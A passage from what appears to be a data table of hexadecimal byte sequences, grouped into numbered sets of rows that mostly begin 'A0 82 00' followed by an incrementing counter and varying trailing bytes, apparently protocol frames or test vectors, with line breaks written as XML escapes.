3A&#xA; 2     2    A0 82 00 01 02 40 00 4B E4&#xA; 2     3    A0 82 00 02 02 00 00 4A E8&#xA; 2     4    A0 82 00 03 02 00 01 4A E8&#xA; 2     5    A0 82 00 04 02 00 01 4A F4&#xA; 2     6    A0 82 00 05 02 00 81 48 F0&#xA; 2     7    A0 82 00 06 02 00 81 48 FC&#xA; 2     8    A0 82 00 07 02 00 81 48 F8&#xA; 2     9    A0 82 00 08 02 01 00 4A C4&#xA; 2    10    A0 82 00 09 02 00 00 4A C4&#xA; 2    11    A0 82 00 0A 02 01 00 4A CC&#xA; 2    12    A0 82 00 0B 02 00 00 4A CC&#xA; 2    13    A0 82 00 0C 02 01 00 4A D4&#xA; 2    14    A0 82 00 0D 02 00 00 4A D4&#xA; 2    15    A0 82 00 0E 02 00 01 4A DC&#xA; 2    16    A0 82 00 0F 02 00 01 4A D8&#xA; 2    17    A0 82 00 10 02 00 01 4A A4&#xA; 2    18    A0 82 00 11 02 00 01 4A A0&#xA; 2    19    A0 82 00 12 02 00 01 4A AC&#xA; 2    20    A0 82 00 13 02 01 00 4A A8&#xA; 2    21    A0 82 00 14 02 00 00 4A B0&#xA; 2    22    A0 82 00 15 02 00 01 4A B0&#xA; 2    23    A0 82 00 16 02 01 00 4A BC&#xA; 2    24    A0 82 00 17 02 00 00 4A BC&#xA; 2    25    A0 82 00 18 02 00 81 48 84&#xA; 2    26    A0 82 00 19 02 00 81 48 80&#xA; 2    27    A0 82 00 1A 02 00 81 48 8C&#xA; 2    28    A0 82 00 1B 02 02 00 4A 84&#xA; 2    29    A0 82 00 1C 02 00 00 4A 90&#xA; 2    30    A0 82 00 1D 02 00 01 4A 90&#xA; 2    31    A0 82 00 1E 02 00 01 4A 9C&#xA; 2    32    A0 82 00 1F 02 01 00 4A 98&#xA; 2    33    A0 82 00 20 02 00 00 4A 60&#xA; 2    34    A0 82 00 21 02 00 01 4A 60&#xA; 2    35    A0 82 00 22 02 00 01 4A 6C&#xA; 2    36    A0 82 00 23 02 00 01 4A 68&#xA; 2    37    A0 82 00 24 02 01 00 4A 74&#xA; 2    38    A0 82 00 25 02 00 00 4A 74&#xA; 2    39    A0 82 00 26 02 02 00 4A 70&#xA; 2    40    A0 82 00 27 02 00 00 4A 7C&#xA; 2    41    A0 82 00 28 02 02 00 4A 48&#xA; 2    42    A0 82 00 29 02 00 00 4A 44&#xA; 2    43    A0 82 00 2A 02 00 01 4A 4C&#xA; 2    44    A0 82 00 2B 02 01 00 4A 48&#xA; 2    45    A0 82 00 2C 02 00 00 4A 50&#xA; 2    46    A0 82 00 2D 02 01 00 4A 50&#xA; 2    47    A0 82 00 2E 02 00 00 4A 58&#xA; 2    48    A0 82 00 2F 02 00 01 4A 58&#xA; 2    49    A0 82 00 30 02 01 00 4A 24&#xA; 2    50    A0 82 00 31 02 00 00 4A 24&#xA; 2    51    A0 82 00 32 02 01 00 4A 2C&#xA; 2    52    A0 82 00 33 02 00 00 4A 2C&#xA; 2    53    A0 82 00 34 02 00 01 4A 34&#xA; 2    54    A0 82 00 35 02 00 01 4A 30&#xA; 2    55    A0 82 00 36 02 00 01 4A 3C&#xA; 2    56    A0 82 00 37 02 01 00 4A 38&#xA; 2    57    A0 82 00 38 02 00 00 4A 00&#xA; 2    58    A0 82 00 39 02 01 00 4A 00&#xA; 2    59    A0 82 00 3A 02 00 00 4A 08&#xA; 2    60    A0 82 00 3B 02 02 00 4A 04&#xA; 2    61    A0 82 00 3C 02 00 00 4A 10&#xA; 2    62    A0 82 00 3D 02 02 00 4A 1C&#xA; 2    63    A0 82 00 3E 02 00 00 4A 18&#xA; 2    64    A0 82 00 3F 02 00 81 48 18&#xA; 2    65    A0 82 00 40 02 00 81 49 E4&#xA; 2    66    A0 82 00 41 02 00 81 49 E0&#xA; 2    67    A0 82 00 42 02 00 81 49 EC&#xA; 2    68    A0 82 00 43 02 00 81 49 E8&#xA; 2    69    A0 82 00 44 02 00 81 49 F4&#xA; 2    70    A0 82 00 45 02 00 81 49 F0&#xA; 2    71    A0 82 00 46 02 02 00 4B F0&#xA; 2    72    A0 82 00 47 02 00 00 4B FC&#xA;&#xA; 3     1    A0 07 01 06 5B&#xA; 3     2    A0 82 00 01 02 40 00 DD 42  // Note 1&#xA; 3     3    A0 82 00 02 02 00 00 CD 82&#xA; 3     4    A0 82 00 03 02 00 81 ED 82&#xA; 3     5    A0 82 00 04 02 00 81 EC 42&#xA; 3     6    A0 82 00 05 02 00 81 EC 02&#xA; 3     7    A0 82 00 06 02 00 81 EC C2&#xA; 3     8    A0 82 00 07 02 00 01 CC 82&#xA; 3     9    A0 82 00 08 02 00 01 CF 42&#xA; 3    10    A0 82 00 09 02 00 01 CF 02&#xA; 3    11    A0 82 00 0A 02 00 01 CF C2&#xA; 3    12    A0 82 00 0B 02 00 01 CF 82&#xA; 3    13    A0 82 00 0C 02 01 00 CE 42&#xA; 3    14    A0 82 00 0D 02 00 00 CE 42&#xA; 3    15    A0 82 00 0E 02 01 00 CE C2&#xA; 3    16    A0 82 00 0F 02 00 00 CE C2&#xA; 3    17    A0 82 00 10 02 00 01 C9 42&#xA; 3    18    A0 82 00 11 02 00 01 C9 02&#xA; 3    19    A0 82 00 12 02 00 01 C9 C2&#xA; 3    20    A0 82 00 13 02 01 00 C9 82&#xA; 3    21    A0 82 00 14 02 00 00 C8 02&#xA; 3    22    A0 82 00 15 02 01 00 C8 02&#xA; 3    23    A0 82 00 16 02 00 00 C8 82&#xA; 3    24    A0 82 00 17 02 02 00 C8 42&#xA; 3    25    A0 82 00 18 02 00 00 CB 02&#xA; 3    26    A0 82 00 19 02 02 00 CB C2&#xA; 3    27    A0 82 00 1A 02 00 00 CB 82&#xA; 3    28    A0 82 00 1B 02 02 00 CB 42&#xA; 3    29    A0 82 00 1C 02 00 00 CA 02&#xA; 3    30    A0 82 00 1D 02 40 00 DA 42&#xA; 3    31    A0 82 00 1E 02 00 00 CA 82&#xA; 3    32    A0 82 00 1F 02 00 01 CA 82&#xA; 3    33    A0 82 00 20 02 00 01 C5 42&#xA; 3    34    A0 82 00 21 02 00 01 C5 02&#xA; 3    35    A0 82 00 22 02 00 01 C5 C2&#xA; 3    36    A0 82 00 23 02 01 00 C5 82&#xA; 3    37    A0 82 00 24 02 00 00 C4 02&#xA; 3    38    A0 82 00 25 02 00 01 C4 02&#xA; 3    39    A0 82 00 26 02 00 01 C4 C2&#xA; 3    40    A0 82 00 27 02 01 00 C4 82&#xA; 3    41    A0 82 00 28 02 00 00 C7 02&#xA; 3    42    A0 82 00 29 02 02 00 C7 C2&#xA; 3    43    A0 82 00 2A 02 00 00 C7 82&#xA; 3    44    A0 82 00 2B 02 02 00 C7 42&#xA; 3    45    A0 82 00 2C 02 00 00 C6 02&#xA; 3    46    A0 82 00 2D 02 04 00 C7 42&#xA; 3    47    A0 82 00 2E 02 00 00 C6 82&#xA; 3    48    A0 82 00 2F 02 40 00 D6 C2&#xA; 3    49    A0 82 00 30 02 00 00 C1 02&#xA; 3    50    A0 82 00 31 02 00 01 C1 02&#xA; 3    51    A0 82 00 32 02 00 01 C1 C2&#xA; 3    52    A0 82 00 33 02 00 01 C1 82&#xA; 3    53    A0 82 00 34 02 00 01 C0 42&#xA; 3    54    A0 82 00 35 02 00 01 C0 02&#xA; 3    55    A0 82 00 36 02 00 01 C0 C2&#xA; 3    56    A0 82 00 37 02 01 00 C0 82&#xA; 3    57    A0 82 00 38 02 00 00 C3 02&#xA; 3    58    A0 82 00 39 02 40 00 D3 42&#xA; 3    59    A0 82 00 3A 02 00 00 C3 82&#xA; 3    60    A0 82 00 3B 02 00 01 C3 82&#xA; 3    61    A0 82 00 3C 02 00 01 C2 42&#xA; 3    62    A0 82 00 3D 02 00 01 C2 02&#xA; 3    63    A0 82 00 3E 02 00 01 C2 C2&#xA; 3    64    A0 82 00 3F 02 00 01 C2 82&#xA; 3    65    A0 82 00 40 02 00 01 DD 42  // Note 1&#xA; 3    66    A0 82 00 41 02 00 01 DD 02&#xA; 3    67    A0 82 00 42 02 01 00 DD C2&#xA; 3    68    A0 82 00 43 02 00 00 DD C2&#xA; 3    69    A0 82 00 44 02 00 81 FC 42&#xA; 3    70    A0 82 00 45 02 00 81 FC 02&#xA; 3    71    A0 82 00 46 02 00 01 DC C2&#xA; 3    72    A0 82 00 47 02 00 01 DC 82&#xA; 3    73    A0 82 00 48 02 00 01 DF 42&#xA; 3    74    A0 82 00 49 02 01 00 DF 02&#xA; 3    75    A0 82 00 4A 02 00 00 DF 82&#xA; 3    76    A0 82 00 4B 02 00 01 DF 82&#xA; 3    77    A0 82 00 4C 02 00 01 DE 42&#xA; 3    78    A0 82 00 4D 02 00 01 DE 02&#xA; 3    79    A0 82 00 4E 02 00 01 DE C2&#xA; 3    80    A0 82 00 4F 02 00 01 DE 82&#xA; 3    81    A0 82 00 50 02 00 01 D9 42&#xA; 3    82    A0 82 00 51 02 00 01 D9 02&#xA; 3    83    A0 82 00 52 02 00 81 F9 C2&#xA; 3    84    A0 82 00 53 02 00 81 F9 82&#xA; 3    85    A0 82 00 54 02 00 81 F8 42&#xA; 3    86    A0 82 00 55 02 02 00 D8 C2&#xA; 3    87    A0 82 00 56 02 00 00 D8 82&#xA; 3    88    A0 82 00 57 02 02 00 D8 42&#xA; 3    89    A0 82 00 58 02 00 00 DB 02&#xA; 3    90    A0 82 00 59 02 02 00 DB C2&#xA; 3    91    A0 82 00 5A 02 00 00 DB 82&#xA;&#xA; 4     1    A0 07 02 27 58&#xA; 4     2    A0 82 00 01 02 40 00 9A A3&#xA; 4     3    A0 82 00 02 02 00 00 9A E0&#xA; 4     4    A0 82 00 03 02 00 81 9A 60&#xA; 4     5    A0 82 00 04 02 00 01 9A E7&#xA; 4     6    A0 82 00 05 02 00 81 9A 66&#xA; 4     7    A0 82 00 06 02 00 01 9A E5&#xA; 4     8    A0 82 00 07 02 00 81 9A 64&#xA; 4     9    A0 82 00 08 02 00 01 9A EB&#xA; 4    10    A0 82 00 09 02 00 01 9A EA&#xA; 4    11    A0 82 00 0A 02 00 01 9A E9&#xA; 4    12    A0 82 00 0B 02 00 01 9A E8&#xA; 4    13    A0 82 00 0C 02 00 01 9A EF&#xA; 4    14    A0 82 00 0D 02 00 01 9A EE&#xA; 4    15    A0 82 00 0E 02 00 01 9A ED&#xA; 4    16    A0 82 00 0F 02 01 00 9A EC&#xA; 4    17    A0 82 00 10 02 00 00 9A F2&#xA; 4    18    A0 82 00 11 02 00 01 9A F2&#xA; 4    19    A0 82 00 12 02 00 01 9A F1&#xA; 4    20    A0 82 00 13 02 00 01 9A F0&#xA; 4    21    A0 82 00 14 02 01 00 9A F7&#xA; 4    22    A0 82 00 15 02 00 00 9A F7&#xA; 4    23    A0 82 00 16 02 00 01 9A F5&#xA; 4    24    A0 82 00 17 02 00 01 9A F4&#xA; 4    25    A0 82 00 18 02 01 00 9A FB&#xA; 4    26    A0 82 00 19 02 00 00 9A FB&#xA; 4    27    A0 82 00 1A 02 02 00 9A FA&#xA; 4    28    A0 82 00 1B 02 00 00 9A F9&#xA; 4    29    A0 82 00 1C 02 02 00 9A FC&#xA; 4    30    A0 82 00 1D 02 00 00 9A FF&#xA; 4    31    A0 82 00 1E 02 00 81 9A 7D&#xA; 4    32    A0 82 00 1F 02 00 81 9A 7C&#xA; 4    33    A0 82 00 20 02 00 81 9A 43&#xA; 4    34    A0 82 00 21 02 00 81 9A 42&#xA; 4    35    A0 82 00 22 02 00 01 9A C1&#xA; 4    36    A0 82 00 23 02 00 01 9A C0&#xA; 4    37    A0 82 00 24 02 00 01 9A C7&#xA; 4    38    A0 82 00 25 02 00 01 9A C6&#xA; 4    39    A0 82 00 26 02 02 00 9A C6&#xA; 4    40    A0 82 00 27 02 00 00 9A C5&#xA; 4    41    A0 82 00 28 02 02 00 9A C8&#xA; 4    42    A0 82 00 29 02 00 00 9A CB&#xA; 4    43    A0 82 00 2A 02 40 00 9A 88&#xA; 4    44    A0 82 00 2B 02 00 00 9A C9&#xA; 4    45    A0 82 00 2C 02 00 01 9A CF&#xA; 4    46    A0 82 00 2D 02 00 01 9A CE&#xA; 4    47    A0 82 00 2E 02 00 01 9A CD&#xA; 4    48    A0 82 00 2F 02 00 01 9A CC&#xA; 4    49    A0 82 00 30 02 00 01 9A D3&#xA; 4    50    A0 82 00 31 02 00 01 9A D2&#xA; 4    51    A0 82 00 32 02 00 01 9A D1&#xA; 4    52    A0 82 00 33 02 00 01 9A D0&#xA; 4    53    A0 82 00 34 02 00 01 9A D7&#xA; 4    54    A0 82 00 35 02 00 81 9A 56&#xA; 4    55    A0 82 00 36 02 00 81 9A 55&#xA; 4    56    A0 82 00 37 02 00 81 9A 54&#xA; 4    57    A0 82 00 38 02 00 81 9A 5B&#xA; 4    58    A0 82 00 39 02 00 81 9A 5A&#xA; 4    59    A0 82 00 3A 02 00 81 9A 59&#xA; 4    60    A0 82 00 3B 02 00 81 9A 58&#xA; 4    61    A0 82 00 3C 02 00 81 9A 5F&#xA; 4    62    A0 82 00 3D 02 00 81 9A 5E&#xA; 4    63    A0 82 00 3E 02 00 81 9A 5D&#xA; 4    64    A0 82 00 3F 02 02 00 9A DF&#xA; 4    65    A0 82 00 40 02 00 00 9A A2&#xA;&#xA; 5     1    A0 07 00 27 1A&#xA; 5     2    A0 82 00 01 02 40 00 83 64&#xA; 5     3    A0 82 00 02 02 00 00 82 68&#xA; 5     4    A0 82 00 03 02 00 01 82 68&#xA; 5     5    A0 82 00 04 02 00 01 82 74&#xA; 5     6    A0 82 00 05 02 00 01 82 70&#xA; 5     7    A0 82 00 06 02 00 01 82 7C&#xA; 5     8    A0 82 00 07 02 00 01 82 78&#xA; 5     9    A0 82 00 08 02 00 01 82 44&#xA; 5    10    A0 82 00 09 02 00 01 82 40&#xA; 5    11    A0 82 00 0A 02 00 01 82 4C&#xA; 5    12    A0 82 00 0B 02 00 01 82 48&#xA; 5    13    A0 82 00 0C 02 00 81 80 54&#xA; 5    14    A0 82 00 0D 02 00 81 80 50&#xA; 5    15    A0 82 00 0E 02 00 81 80 5C&#xA; 5    16    A0 82 00 0F 02 00 81 80 58&#xA; 5    17    A0 82 00 10 02 00 81 80 24&#xA; 5    18    A0 82 00 11 02 00 81 80 20&#xA; 5    19    A0 82 00 12 02 00 81 80 2C&#xA; 5    20    A0 82 00 13 02 00 81 80 28&#xA; 5    21    A0 82 00 14 02 00 81 80 34&#xA; 5    22    A0 82 00 15 02 00 01 82 30&#xA; 5    23    A0 82 00 16 02 00 01 82 3C&#xA; 5    24    A0 82 00 17 02 00 01 82 38&#xA; 5    25    A0 82 00 18 02 00 01 82 04&#xA; 5    26    A0 82 00 19 02 00 01 82 00&#xA; 5    27    A0 82 00 1A 02 00 01 82 0C&#xA; 5    28    A0 82 00 1B 02 00 01 82 08&#xA; 5    29    A0 82 00 1C 02 01 00 82 14&#xA; 5    30    A0 82 00 1D 02 00 00 82 14&#xA; 5    31    A0 82 00 1E 02 01 00 82 1C&#xA; 5    32    A0 82 00 1F 02 00 00 82 1C&#xA; 5    33    A0 82 00 20 02 01 00 82 E4&#xA; 5    34    A0 82 00 21 02 00 00 82 E4&#xA; 5    35    A0 82 00 22 02 00 01 82 EC&#xA; 5    36    A0 82 00 23 02 00 01 82 E8&#xA; 5    37    A0 82 00 24 02 00 01 82 F4&#xA; 5    38    A0 82 00 25 02 01 00 82 F0&#xA; 5    39    A0 82 00 26 02 00 00 82 F8&#xA; 5    40    A0 82 00 27 02 00 01 82 F8&#xA; 5    41    A0 82 00 28 02 00 01 82 C4&#xA; 5    42    A0 82 00 29 02 00 01 82 C0&#xA; 5    43    A0 82 00 2A 02 00 01 82 CC&#xA; 5    44    A0 82 00 2B 02 02 00 82 C4&#xA; 5    45    A0 82 00 2C 02 00 00 82 D0&#xA; 5    46    A0 82 00 2D 02 02 00 82 DC&#xA; 5    47    A0 82 00 2E 02 00 00 82 D8&#xA; 5    48    A0 82 00 2F 02 00 81 80 D8&#xA; 5    49    A0 82 00 30 02 00 01 82 A4&#xA; 5    50    A0 82 00 31 02 00 81 80 A0&#xA; 5    51    A0 82 00 32 02 00 81 80 AC&#xA; 5    52    A0 82 00 33 02 00 81 80 A8&#xA; 5    53    A0 82 00 34 02 00 81 80 B4&#xA; 5    54    A0 82 00 35 02 00 81 80 B0&#xA; 5    55    A0 82 00 36 02 00 81 80 BC&#xA; 5    56    A0 82 00 37 02 00 81 80 B8&#xA; 5    57    A0 82 00 38 02 00 81 80 84&#xA; 5    58    A0 82 00 39 02 02 00 82 8C&#xA; 5    59    A0 82 00 3A 02 00 00 82 88&#xA;&#xA; 6     1    A0 07 00 1A 2F&#xA; 6     2    A0 82 00 01 02 40 00 F6 0E&#xA; 6     3    A0 82 00 02 02 00 00 D7 8E&#xA; 6     4    A0 82 00 03 02 00 01 D7 8E&#xA; 6     5    A0 82 00 04 02 00 01 D4 0E&#xA; 6     6    A0 82 00 05 02 00 01 D4 8E&#xA; 6     7    A0 82 00 06 02 00 01 D5 0E&#xA; 6     8    A0 82 00 07 02 00 01 D5 8E&#xA; 6     9    A0 82 00 08 02 00 01 D2 0E&#xA; 6    10    A0 82 00 09 02 00 01 D2 8E&#xA; 6    11    A0 82 00 0A 02 00 01 D3 0E&#xA; 6    12    A0 82 00 0B 02 00 01 D3 8E&#xA; 6    13    A0 82 00 0C 02 00 81 90 0E&#xA; 6    14    A0 82 00 0D 02 01 00 D0 8E&#xA; 6    15    A0 82 00 0E 02 00 00 D1 8E&#xA; 6    16    A0 82 00 0F 02 00 01 D1 8E&#xA; 6    17    A0 82 00 10 02 00 01 DE 0E&#xA; 6    18    A0 82 00 11 02 00 01 DE 8E&#xA; 6    19    A0 82 00 12 02 01 00 DF 0E&#xA; 6    20    A0 82 00 13 02 00 00 DF 0E&#xA; 6    21    A0 82 00 14 02 00 01 DC 0E&#xA; 6    22    A0 82 00 15 02 00 01 DC 8E&#xA; 6    23    A0 82 00 16 02 00 01 DD 0E&#xA; 6    24    A0 82 00 17 02 00 01 DD 8E&#xA; 6    25    A0 82 00 18 02 00 01 DA 0E&#xA; 6    26    A0 82 00 19 02 00 01 DA 8E&#xA; 6    27    A0 82 00 1A 02 00 01 DB 0E&#xA; 6    28    A0 82 00 1B 02 00 01 DB 8E&#xA; 6    29    A0 82 00 1C 02 00 81 98 0E&#xA; 6    30    A0 82 00 1D 02 00 81 98 8E&#xA; 6    31    A0 82 00 1E 02 00 81 99 0E&#xA; 6    32    A0 82 00 1F 02 00 81 99 8E&#xA; 6    33    A0 82 00 20 02 00 81 86 0E&#xA; 6    34    A0 82 00 21 02 00 81 86 8E&#xA; 6    35    A0 82 00 22 02 00 81 87 0E&#xA; 6    36    A0 82 00 23 02 00 81 87 8E&#xA; 6    37    A0 82 00 24 02 02 00 C5 8E&#xA; 6    38    A0 82 00 25 02 00 00 C4 0E&#xA; 6    39    A0 82 00 26 02 02 00 C4 8E&#xA; 6    40    A0 82 00 27 02 00 00 C5 0E&#xA; 6    41    A0 82 00 28 02 02 00 C3 8E&#xA; 6    42    A0 82 00 29 02 00 00 C2 0E&#xA; 6    43    A0 82 00 2A 02 40 00 E3 8E&#xA; 6    44    A0 82 00 2B 02 00 00 C3 0E&#xA; 6    45    A0 82 00 2C 02 00 01 C0 0E&#xA; 6    46    A0 82 00 2D 02 00 01 C0 8E&#xA; 6    47    A0 82 00 2E 02 00 01 C1 0E&#xA; 6    48    A0 82 00 2F 02 02 00 C0 0E&#xA; 6    49    A0 82 00 30 02 00 00 CE 8E&#xA;&#xA; 7     1    A0 07 05 22 40&#xA; 7     2    A0 82 00 01 02 40 00 43 43&#xA; 7     3    A0 82 00 02 02 00 00 43 00&#xA; 7     4    A0 82 00 03 02 00 01 43 00&#xA; 7     5    A0 82 00 04 02 00 01 43 07&#xA; 7     6    A0 82 00 05 02 00 01 43 06&#xA; 7     7    A0 82 00 06 02 00 01 43 05&#xA; 7     8    A0 82 00 07 02 00 01 43 04&#xA; 7     9    A0 82 00 08 02 00 01 43 0B&#xA; 7    10    A0 82 00 09 02 00 01 43 0A&#xA; 7    11    A0 82 00 0A 02 01 00 43 09&#xA; 7    12    A0 82 00 0B 02 00 00 43 09&#xA; 7    13    A0 82 00 0C 02 01 00 43 0F&#xA; 7    14    A0 82 00 0D 02 00 00 43 0F&#xA; 7    15    A0 82 00 0E 02 01 00 43 0D&#xA; 7    16    A0 82 00 0F 02 00 00 43 0D&#xA; 7    17    A0 82 00 10 02 00 01 43 13&#xA; 7    18    A0 82 00 11 02 00 01 43 12&#xA; 7    19    A0 82 00 12 02 00 01 43 11&#xA; 7    20    A0 82 00 13 02 01 00 43 10&#xA; 7    21    A0 82 00 14 02 00 00 43 16&#xA; 7    22    A0 82 00 15 02 00 01 43 16&#xA; 7    23    A0 82 00 16 02 00 01 43 15&#xA; 7    24    A0 82 00 17 02 00 01 43 14&#xA; 7    25    A0 82 00 18 02 00 01 43 1B&#xA; 7    26    A0 82 00 19 02 00 01 43 1A&#xA; 7    27    A0 82 00 1A 02 00 01 43 19&#xA; 7    28    A0 82 00 1B 02 00 81 43 98&#xA; 7    29    A0 82 00 1C 02 00 81 43 9F&#xA; 7    30    A0 82 00 1D 02 00 81 43 9E&#xA; 7    31    A0 82 00 1E 02 00 81 43 9D&#xA; 7    32    A0 82 00 1F 02 00 81 43 9C&#xA; 7    33    A0 82 00 20 02 01 00 43 23&#xA; 7    34    A0 82 00 21 02 00 00 43 23&#xA; 7    35    A0 82 00 22 02 00 81 43 A1&#xA; 7    36    A0 82 00 23 02 00 01 43 20&#xA; 7    37    A0 82 00 24 02 00 01 43 27&#xA; 7    38    A0 82 00 25 02 01 00 43 26&#xA; 7    39    A0 82 00 26 02 00 00 43 24&#xA; 7    40    A0 82 00 27 02 00 81 43 A4&#xA; 7    41    A0 82 00 28 02 02 00 43 28&#xA; 7    42    A0 82 00 29 02 00 00 43 2B&#xA; 7    43    A0 82 00 2A 02 02 00 43 2A&#xA; 7    44    A0 82 00 2B 02 00 00 43 29&#xA; 7    45    A0 82 00 2C 02 00 81 43 AF&#xA; 7    46    A0 82 00 2D 02 00 81 43 AE&#xA; 7    47    A0 82 00 2E 02 00 81 43 AD&#xA; 7    48    A0 82 00 2F 02 00 81 43 AC&#xA; 7    49    A0 82 00 30 02 00 81 43 B3&#xA; 7    50    A0 82 00 31 02 00 81 43 B2&#xA; 7    51    A0 82 00 32 02 00 81 43 B1&#xA; 7    52    A0 82 00 33 02 02 00 43 33&#xA; 7    53    A0 82 00 34 02 00 00 43 36&#xA;&#xA; 8     1    A0 07 02 50 34&#xA; 8     2    A0 82 00 01 02 40 00 8E 24&#xA; 8     3    A0 82 00 02 02 00 00 8E A2&#xA; 8     4    A0 82 00 03 02 00 01 8E A2&#xA; 8     5    A0 82 00 04 02 00 01 8E AC&#xA; 8     6    A0 82 00 05 02 00 01 8E AE&#xA; 8     7    A0 82 00 06 02 00 01 8E A8&#xA; 8     8    A0 82 00 07 02 00 01 8E AA&#xA; 8     9    A0 82 00 08 02 00 01 8E B4&#xA; 8    10    A0 82 00 09 02 00 01 8E B6&#xA; 8    11    A0 82 00 0A 02 00 01 8E B0&#xA; 8    12    A0 82 00 0B 02 00 01 8E B2&#xA; 8    13    A0 82 00 0C 02 00 81 8F BC&#xA; 8    14    A0 82 00 0D 02 00 81 8F BE&#xA; 8    15    A0 82 00 0E 02 00 81 8F B8&#xA; 8    16    A0 82 00 0F 02 00 81 8F BA&#xA; 8    17    A0 82 00 10 02 00 81 8F 84&#xA; 8    18    A0 82 00 11 02 00 81 8F 86&#xA; 8    19    A0 82 00 12 02 00 81 8F 80&#xA; 8    20    A0 82 00 13 02 00 81 8F 82&#xA; 8    21    A0 82 00 14 02 00 81 8F 8C&#xA; 8    22    A0 82 00 15 02 00 81 8F 8E&#xA; 8    23    A0 82 00 16 02 00 01 8E 88&#xA; 8    24    A0 82 00 17 02 00 01 8E 8A&#xA; 8    25    A0 82 00 18 02 00 01 8E 94&#xA; 8    26    A0 82 00 19 02 00 01 8E 96&#xA; 8    27    A0 82 00 1A 02 00 01 8E 90&#xA; 8    28    A0 82 00 1B 02 00 01 8E 92&#xA; 8    29    A0 82 00 1C 02 00 01 8E 9C&#xA; 8    30    A0 82 00 1D 02 01 00 8E 9E&#xA; 8    31    A0 82 00 1E 02 00 00 8E 9A&#xA; 8    32    A0 82 00 1F 02 00 01 8E 9A&#xA; 8    33    A0 82 00 20 02 00 01 8E E4&#xA; 8    34    A0 82 00 21 02 00 01 8E E6&#xA; 8    35    A0 82 00 22 02 00 01 8E E0&#xA; 8    36    A0 82 00 23 02 00 81 8F E2&#xA; 8    37    A0 82 00 24 02 00 01 8E EC&#xA; 8    38    A0 82 00 25 02 01 00 8E EE&#xA; 8    39    A0 82 00 26 02 00 00 8E EA&#xA; 8    40    A0 82 00 27 02 02 00 8E EC&#xA; 8    41    A0 82 00 28 02 00 00 8E F6&#xA; 8    42    A0 82 00 29 02 00 81 8F F6&#xA; 8    43    A0 82 00 2A 02 00 81 8F F0&#xA; 8    44    A0 82 00 2B 02 00 81 8F F2&#xA; 8    45    A0 82 00 2C 02 00 81 8F FC&#xA; 8    46    A0 82 00 2D 02 02 00 8E F8&#xA; 8    47    A0 82 00 2E 02 00 00 8E FA&#xA; 8    48    A0 82 00 2F 02 00 81 8F FA&#xA; 8    49    A0 82 00 30 02 00 81 8F C4&#xA; 8    50    A0 82 00 31 02 00 81 8F C6&#xA; 8    51    A0 82 00 32 02 00 81 8F C0&#xA; 8    52    A0 82 00 33 02 00 81 8F C2&#xA; 8    53    A0 82 00 34 02 00 81 8F CC&#xA; 8    54    A0 82 00 35 02 00 81 8F CE&#xA; 8    55    A0 82 00 36 02 00 81 8F C8&#xA; 8    56    A0 82 00 37 02 00 81 8F CA&#xA; 8    57    A0 82 00 38 02 02 00 8E D2&#xA; 8    58    A0 82 00 39 02 00 00 8E D4&#xA;&#xA; 9     1    A0 07 04 3F 0B&#xA; 9     2    A0 82 00 01 02 40 00 C6 41&#xA; 9     3    A0 82 00 02 02 00 00 C4 59&#xA; 9     4    A0 82 00 03 02 00 01 C4 59&#xA; 9     5    A0 82 00 04 02 00 01 C4 61&#xA; 9     6    A0 82 00 05 02 00 01 C4 69&#xA; 9     7    A0 82 00 06 02 00 01 C4 71&#xA; 9     8    A0 82 00 07 02 00 01 C4 79&#xA; 9     9    A0 82 00 08 02 00 01 C4 01&#xA; 9    10    A0 82 00 09 02 00 01 C4 09&#xA; 9    11    A0 82 00 0A 02 00 01 C4 11&#xA; 9    12    A0 82 00 0B 02 00 01 C4 19&#xA; 9    13    A0 82 00 0C 02 00 01 C4 21&#xA; 9    14    A0 82 00 0D 02 00 01 C4 29&#xA; 9    15    A0 82 00 0E 02 00 01 C4 31&#xA; 9    16    A0 82 00 0F 02 00 01 C4 39&#xA; 9    17    A0 82 00 10 02 00 01 C4 C1&#xA; 9    18    A0 82 00 11 02 00 01 C4 C9&#xA; 9    19    A0 82 00 12 02 00 01 C4 D1&#xA; 9    20    A0 82 00 13 02 00 01 C4 D9&#xA; 9    21    A0 82 00 14 02 00 01 C4 E1&#xA; 9    22    A0 82 00 15 02 00 01 C4 E9&#xA; 9    23    A0 82 00 16 02 00 01 C4 F1&#xA; 9    24    A0 82 00 17 02 00 01 C4 F9&#xA; 9    25    A0 82 00 18 02 00 01 C4 81&#xA; 9    26    A0 82 00 19 02 00 01 C4 89&#xA; 9    27    A0 82 00 1A 02 00 01 C4 91&#xA; 9    28    A0 82 00 1B 02 00 01 C4 99&#xA; 9    29    A0 82 00 1C 02 00 01 C4 A1&#xA; 9    30    A0 82 00 1D 02 00 01 C4 A9&#xA; 9    31    A0 82 00 1E 02 00 01 C4 B1&#xA; 9    32    A0 82 00 1F 02 00 01 C4 B9&#xA; 9    33    A0 82 00 20 02 00 01 C5 41&#xA; 9    34    A0 82 00 21 02 00 01 C5 49&#xA; 9    35    A0 82 00 22 02 00 01 C5 51&#xA; 9    36    A0 82 00 23 02 00 01 C5 59&#xA; 9    37    A0 82 00 24 02 00 01 C5 61&#xA; 9    38    A0 82 00 25 02 00 01 C5 69&#xA; 9    39    A0 82 00 26 02 00 01 C5 71&#xA; 9    40    A0 82 00 27 02 00 01 C5 79&#xA; 9    41    A0 82 00 28 02 00 01 C5 01&#xA; 9    42    A0 82 00 29 02 00 01 C5 09&#xA; 9    43    A0 82 00 2A 02 00 01 C5 11&#xA; 9    44    A0 82 00 2B 02 00 01 C5 19&#xA; 9    45    A0 82 00 2C 02 00 01 C5 21&#xA; 9    46    A0 82 00 2D 02 00 01 C5 29&#xA; 9    47    A0 82 00 2E 02 00 01 C5 31&#xA; 9    48    A0 82 00 2F 02 00 01 C5 39&#xA; 9    49    A0 82 00 30 02 00 01 C5 C1&#xA; 9    50    A0 82 00 31 02 00 01 C5 C9&#xA; 9    51    A0 82 00 32 02 00 01 C5 D1&#xA; 9    52    A0 82 00 33 02 00 01 C5 D9&#xA; 9    53    A0 82 00 34 02 00 01 C5 E1&#xA; 9    54    A0 82 00 35 02 00 01 C5 E9&#xA; 9    55    A0 82 00 36 02 00 01 C5 F1&#xA; 9    56    A0 82 00 37 02 00 01 C5 F9&#xA; 9    57    A0 82 00 38 02 00 01 C5 81&#xA; 9    58    A0 82 00 39 02 00 01 C5 89&#xA; 9    59    A0 82 00 3A 02 00 01 C5 91&#xA; 9    60    A0 82 00 3B 02 00 01 C5 99&#xA; 9    61    A0 82 00 3C 02 00 01 C5 A1&#xA; 9    62    A0 82 00 3D 02 00 01 C5 A9&#xA; 9    63    A0 82 00 3E 02 00 01 C5 B1&#xA; 9    64    A0 82 00 3F 02 00 01 C5 